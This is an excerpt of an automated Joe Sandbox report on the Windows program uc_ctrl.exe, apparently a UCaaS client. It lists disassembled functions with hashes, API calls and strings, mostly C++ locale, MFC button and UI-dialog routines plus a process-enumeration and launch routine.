simba_ctrl, xrefs: 00772352

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Lib@@$CommandLineWindow$ArgvControlControl@D__@@FindI@2@LanguageManagerPaintString@TextWnd@_wcslwr_sexit
String ID: UCaaS.exe$list_user$simba_ctrl$title$uc_ctrl.exe
API String ID: 1931150860-1413169550
Opcode ID: 259e6e6a8232842fd83904937c7ae5aab0e084c835e2f73622ec0f2bb005cc62
Instruction ID: 5fb65b3ba2d3f100bf71e8d9b0c210794663c51e65ec99b8c2aca331cd0db2e0
Opcode Fuzzy Hash: 259e6e6a8232842fd83904937c7ae5aab0e084c835e2f73622ec0f2bb005cc62
Instruction Fuzzy Hash: 3B51AD70A00205EBDF04DF68CC49BAEB7B5FF84755F10C268E41A9B291DB385D41CBA1

Function 6C9474B0 Relevance: 22.8, APIs: 15, Instructions: 282stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9474B7
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9257E4,0000005C,6C942ACB,?,?,?,?,?,?,?,00000000), ref: 6C947522
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C947532
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C947544
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C947555
std::locale::~locale.LIBCPMT ref: 6C94756F
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C9475B8
std::locale::~locale.LIBCPMT ref: 6C9475D1
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,00000008,?,00000000,?), ref: 6C947696
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,00000008,?,00000000,?), ref: 6C9476DE
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,00000000,?,?,00000000,?,?,?,00000008,?,00000000,?), ref: 6C9476FE
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,00000008,?,00000000,?), ref: 6C947726
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?), ref: 6C94775C
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6C947782

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Put@?$num_put@_Rep@?$num_put@_V32@V32@_$?getloc@ios_base@std@@Vlocale@2@std::locale::~localestrcspn$H_prolog3_localeconv
String ID:
API String ID: 2740848389-0
Opcode ID: 8acf3fd7b2fdf98e707692cd77df3a76e3ed5aabe4088fb87d99edbe20a30dde
Instruction ID: 59319481854edac38bbdd789bd5043b6ccdae72240a09cf7fa9843bd5f61d8a9
Opcode Fuzzy Hash: 8acf3fd7b2fdf98e707692cd77df3a76e3ed5aabe4088fb87d99edbe20a30dde
Instruction Fuzzy Hash: 6AB1797490125DDFCF10CFA8C890AEEBBB9EF19318F548559E809AB750D730DA45CBA1

Function 6C939A40 Relevance: 22.8, APIs: 15, Instructions: 281stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C939A47
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9257E4,0000005C,6C93863B,?,?,?,?,?,?,?,00000000), ref: 6C939AB2
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C939AC2
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C939AD4
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C939AE5
std::locale::~locale.LIBCPMT ref: 6C939AFF
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C939B49
std::locale::~locale.LIBCPMT ref: 6C939B62
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,00000010,?,00000000,?), ref: 6C939C23
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,00000010,?,00000000,?), ref: 6C939C6B
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,00000000,?,?,00000000,?,?,?,00000010,?,00000000,?), ref: 6C939C8B
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,00000010,?,00000000,?), ref: 6C939CB3
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C939CE8
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6C939D0E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@V32@$Put@?$num_put@Rep@?$num_put@$?getloc@ios_base@std@@Vlocale@2@std::locale::~localestrcspn$H_prolog3_localeconv
String ID:
API String ID: 2600786638-0
Opcode ID: 7934e6e042083af5298b5143e678a6f2f112a9f93a5c64abe85b21367129d784
Instruction ID: 40fa8c22fe6eee850cdad8274e2b96c925648f18756945278960984674627483
Opcode Fuzzy Hash: 7934e6e042083af5298b5143e678a6f2f112a9f93a5c64abe85b21367129d784
Instruction Fuzzy Hash: F5B1AA74A00269DFDF00CFA8C880AEEBBB9EF59304F155559E80AAB715DB31DD45CBA0

Function 6C69CE6B Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 279windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C69CE72

Part of subcall function 6C69A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6C69A243

Part of subcall function 6C6E46CA: __EH_prolog3.LIBCMT ref: 6C6E46D1

Part of subcall function 6C67A044: __EH_prolog3.LIBCMT ref: 6C67A0F2

Part of subcall function 6C6E4748: __EH_prolog3.LIBCMT ref: 6C6E474F

LoadIconW.USER32(?,00000000), ref: 6C69D104

Strings

MFCButton_ImageOnRight, xrefs: 6C69D164
MFCButton_FullTextTool, xrefs: 6C69CF9F
MFCButton_Tooltip, xrefs: 6C69CF6D
MFCButton_ImageOnTop, xrefs: 6C69D142
MFCButton_Style, xrefs: 6C69CEC1
MFCButton_CursorType, xrefs: 6C69CFF6
MFCButton_ImageID, xrefs: 6C69D09E
MFCButton_Autosize, xrefs: 6C69CF26
MFCButton_ImageType, xrefs: 6C69D047
TRUE, xrefs: 6C69CFC1

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharIconLoadMultiWide
String ID: MFCButton_Autosize$MFCButton_CursorType$MFCButton_FullTextTool$MFCButton_ImageID$MFCButton_ImageOnRight$MFCButton_ImageOnTop$MFCButton_ImageType$MFCButton_Style$MFCButton_Tooltip$TRUE
API String ID: 3563906663-3825445498
Opcode ID: 0975a18e7ab8a575ae7e3242d12f4142df84804f290455d996847b8be13570fd
Instruction ID: 79f2a5469c210b2dd3220fcd3eadbc3f7e6afa29a40e6dd257537742155f7d5a
Opcode Fuzzy Hash: 0975a18e7ab8a575ae7e3242d12f4142df84804f290455d996847b8be13570fd
Instruction Fuzzy Hash: A4A1747190510AAADB05DFB4C994EFEB7B9BF1634CF104429E412A7A90DB359D09CB2C

Function 6C930B30 Relevance: 21.3, APIs: 14, Instructions: 259COMMONLIBRARYCODE

Download Yara Rule

APIs

__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6C930B5E
__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6C930B74
GetCPInfo.KERNEL32(?,?,?,?,?), ref: 6C930BC6
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 6C930C4F
__alloca_probe_16.LIBCMT ref: 6C930C87
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C930CA5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6C930CD4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 6C930CEF
__alloca_probe_16.LIBCMT ref: 6C930D27
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C930D41
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6C930D68
__crtCompareStringEx.MSVCP140(?,?,00000000,?,00000000,?), ref: 6C930D80
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6C930D9B
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6C930DB5

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__strncnt_free_base_malloc_base$CompareInfoString__crt
String ID:
API String ID: 3184420440-0
Opcode ID: 00d39c026422dcacbc0a75edc8d709fce68becb11f65e24601b616b847af0cbb
Instruction ID: 46b330e61722135aa356bf10a271c2a15951014891bb01bcaf9f7a1c09f63e4b
Opcode Fuzzy Hash: 00d39c026422dcacbc0a75edc8d709fce68becb11f65e24601b616b847af0cbb
Instruction Fuzzy Hash: 5081E532E063A59BEF114E64CC80BEE7BF9AF06318F243669E869E7580D734D844C791

Function 6C930E50 Relevance: 21.2, APIs: 14, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

APIs

__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6C930E6E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 6C930E9A
__alloca_probe_16.LIBCMT ref: 6C930ED2
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C930EF3
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 6C930F2F
__crtLCMapStringEx.MSVCP140(?,?,00000000,?,00000000,00000000), ref: 6C930F49
__crtLCMapStringEx.MSVCP140(?,00000400,00000000,00000400,?,?), ref: 6C930F85
__alloca_probe_16.LIBCMT ref: 6C930FB9
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C930FD3
__crtLCMapStringEx.MSVCP140(?,00000400,?,00000400,00000000,00000000), ref: 6C930FFF
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6C93101A
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6C931032
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6C931055
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C931071

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ByteCharMultiStringWide__crt_free_base$__alloca_probe_16_malloc_base$__strncnt
String ID:
API String ID: 580233248-0
Opcode ID: bcf3e55f214335c3bc9c7bba4b97039182be7cd832e0fc2e8a33591f02aa4cd1
Instruction ID: ebe75b9b744177a3926abe0b23093312d040532e7775ada742be7d0c267cee50
Opcode Fuzzy Hash: bcf3e55f214335c3bc9c7bba4b97039182be7cd832e0fc2e8a33591f02aa4cd1
Instruction Fuzzy Hash: 37614632B01266EBEF148FA4CC80D9F7BBDEF12354B105629F918D65A0DB38C954DB90

Function 00776970 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

??0CDialogBuilder@UiLib@@QAE@XZ.UC_GUILIB ref: 007769D4

Part of subcall function 007783C4: __onexit.LIBCMT ref: 007783CA

Part of subcall function 00778636: EnterCriticalSection.KERNEL32(00781474,00000000,?,007765FF,007817EC,00779910,00000000), ref: 00778640
Part of subcall function 00778636: LeaveCriticalSection.KERNEL32(00781474,?,007765FF,007817EC,00779910,00000000), ref: 00778673

?GetMarkup@CDialogBuilder@UiLib@@QAEPAVCMarkup@2@XZ.UC_GUILIB(001F419D), ref: 007769FD
?IsValid@CMarkup@UiLib@@QBE_NXZ.UC_GUILIB ref: 00776A05
?Create@CDialogBuilder@UiLib@@QAEPAVCControlUI@2@VSTRINGorID@2@PB_WPAVIDialogBuilderCallback@2@PAVCPaintManagerUI@2@PAV32@@Z.UC_GUILIB(?,00000000,00000000,?,00000000), ref: 00776A2A
?Create@CDialogBuilder@UiLib@@QAEPAVCControlUI@2@PAVIDialogBuilderCallback@2@PAVCPaintManagerUI@2@PAV32@@Z.UC_GUILIB(00000000,?,00000000), ref: 00776A37
?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,lbl_username), ref: 00776A75
?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,lbl_userid), ref: 00776A89
?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,btn_face), ref: 00776A9D

Part of subcall function 00778680: EnterCriticalSection.KERNEL32(00781474,?,00000000,?,00776580,007817EC,00774BBF,001F419D,?,?,00000000,00000000,00779728,000000FF,?,00772370), ref: 0077868B
Part of subcall function 00778680: LeaveCriticalSection.KERNEL32(00781474,?,00000000,?,00776580,007817EC,00774BBF,001F419D,?,?,00000000,00000000,00779728,000000FF,?,00772370), ref: 007786C8

Strings

lbl_userid, xrefs: 00776A7D
lbl_username, xrefs: 00776A6F
btn_face, xrefs: 00776A91
(%s), xrefs: 00776AE0

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: ControlLib@@$I@2@$Dialog$ManagerPaint$Builder@CriticalSection$FindName@V32@$BuilderCallback@2@Create@EnterLeaveMarkup@V32@@$D@2@Markup@2@Valid@__onexit
String ID: (%s)$btn_face$lbl_userid$lbl_username
API String ID: 1518652592-789505387
Opcode ID: 598bf1fb877a9e71db24909b0a849dd2eb3d926e82a3ca95abf17448365b4e7c
Instruction ID: 25246aabad4101d4cb8f9b8d3ccd914a64a41b13f4958a0e8dfba7407f48f922
Opcode Fuzzy Hash: 598bf1fb877a9e71db24909b0a849dd2eb3d926e82a3ca95abf17448365b4e7c
Instruction Fuzzy Hash: 8F51C471B40606EFDB08DF68CC48B9DB7B8FF45750F508269E52997291DB38A910CB92

Function 00772D40 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 417processwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00773840: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0077388C
Part of subcall function 00773840: Process32FirstW.KERNEL32(00000000,?), ref: 007738FC

wcsstr.VCRUNTIME140(00000000,0077AAD0,?,ucapp:,0077A9B4,x$w,x$w,001F419D,?,?), ref: 00772DEB
SendMessageW.USER32(?,0000004A,00000000,00779503), ref: 00772FEB
memset.VCRUNTIME140(00000000,00000000,00000400,00000400,login), ref: 007730D1
??0CListContainerElementUI@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,login), ref: 007730DC
memset.VCRUNTIME140(?,00000000,00000044,00000000,00000000,00000000), ref: 00773276
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,00000000,?,?,00000000,00000000,00000000), ref: 007732AB
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,ucapp:,0077A9B4,x$w,x$w,001F419D,?,?), ref: 007732BB

Strings

login, xrefs: 00772EEA, 00772F02
ucapp:, xrefs: 00772DBE
x$w, xrefs: 00772D80, 00772DAB, 007731E9, 00773241, 0077328B, 007732B1, 00772EEF, 00772F16, 007730D6, 007730E6, 00773113, 0077305B, 0077306B, 00772F07, 00772E3C, 00772E5E, 00772DB0, 00772DB1, 00773149
D, xrefs: 0077327E

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Creatememset$ContainerElementFirstLib@@ListMessageProcessProcess32SendSnapshotToolhelp32exitwcsstr
String ID: D$login$ucapp:$x$w
API String ID: 1691680665-3141482974
Opcode ID: ca4ae368929cc4915feb894cc345dcb764e3df01f01d470fd87f491d8d8d6ecb
Instruction ID: 9bc38dc9dc1d20e18939699a4d3cdc59e8d47205d20d3573a1a648e94d5a0624
Opcode Fuzzy Hash: ca4ae368929cc4915feb894cc345dcb764e3df01f01d470fd87f491d8d8d6ecb
Instruction Fuzzy Hash: DE026E71A00605DFDF24DB64C849BADB7F5BF04390F14C2A8E46DA7292DB38AE45CB91

Function 6C6A4EB6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 161windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6C6A4EDD
LoadCursorW.USER32(?,00007904), ref: 6C6A4F03
LoadCursorW.USER32(?,00007905), ref: 6C6A4F36
SendMessageW.USER32(?,0000120A,00000000,00000006), ref: 6C6A4F94
SendMessageW.USER32(?,0000120A,00000001,00000006), ref: 6C6A4FC9
SendMessageW.USER32(?,00000401,00000001,00000000), ref: 6C6A5022
SendMessageW.USER32(?,00000418,00000000,?), ref: 6C6A5050
GetParent.USER32(?), ref: 6C6A508B

Strings

d, xrefs: 6C6A4FA3
Property, xrefs: 6C6A4F68
Value, xrefs: 6C6A4F9C

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$CursorLoad$EmptyParentRect
String ID: Property$Value$d
API String ID: 2284761715-1409410049
Opcode ID: 50bd9d617944469e982be7ebb143061aec16b899d01c9c02f11727905db08262
Instruction ID: a403b90e97d91d360ccc0dce4bc7934a0997cc312c867c0e9dc8ae315df28527
Opcode Fuzzy Hash: 50bd9d617944469e982be7ebb143061aec16b899d01c9c02f11727905db08262
Instruction Fuzzy Hash: BB51AE71B00215AFCB149FB4CD88EEEBBB5BF49314F0401A9E919A77A0DB706D05CB99

Function 6C94EF70 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94EF77
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000020), ref: 6C94EF86

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C94EFA2

Part of subcall function 6C948AD5: ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,6C93F03F,?,?,?,?,?,?,?,?,?,00000038), ref: 6C948AE5

Strings

Q, xrefs: 6C94F013
O, xrefs: 6C94F00E
E, xrefs: 6C94F009
#, xrefs: 6C94F018

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@?sputc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@U?$char_traits@_Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID: #$E$O$Q
API String ID: 602496783-3590659638
Opcode ID: 35bf0e414b07e1301ff7f407b6072e1e4a640d2c79fb02f76a4a2706c82eca3b
Instruction ID: 707f77a6a3bef31ba1223e1664262a51480d86c5b4b7f33d8d67f3f2582ad83e
Opcode Fuzzy Hash: 35bf0e414b07e1301ff7f407b6072e1e4a640d2c79fb02f76a4a2706c82eca3b
Instruction Fuzzy Hash: FF418D35A0121ADFCF04CF94C850AFE77B5AF68318F14804AE91567791DB34ED55CBA0

Function 6C94F550 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F557
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000020), ref: 6C94F566

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C94F582

Part of subcall function 6C948AD5: ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,6C93F03F,?,?,?,?,?,?,?,?,?,00000038), ref: 6C948AE5

Strings

O, xrefs: 6C94F5EE
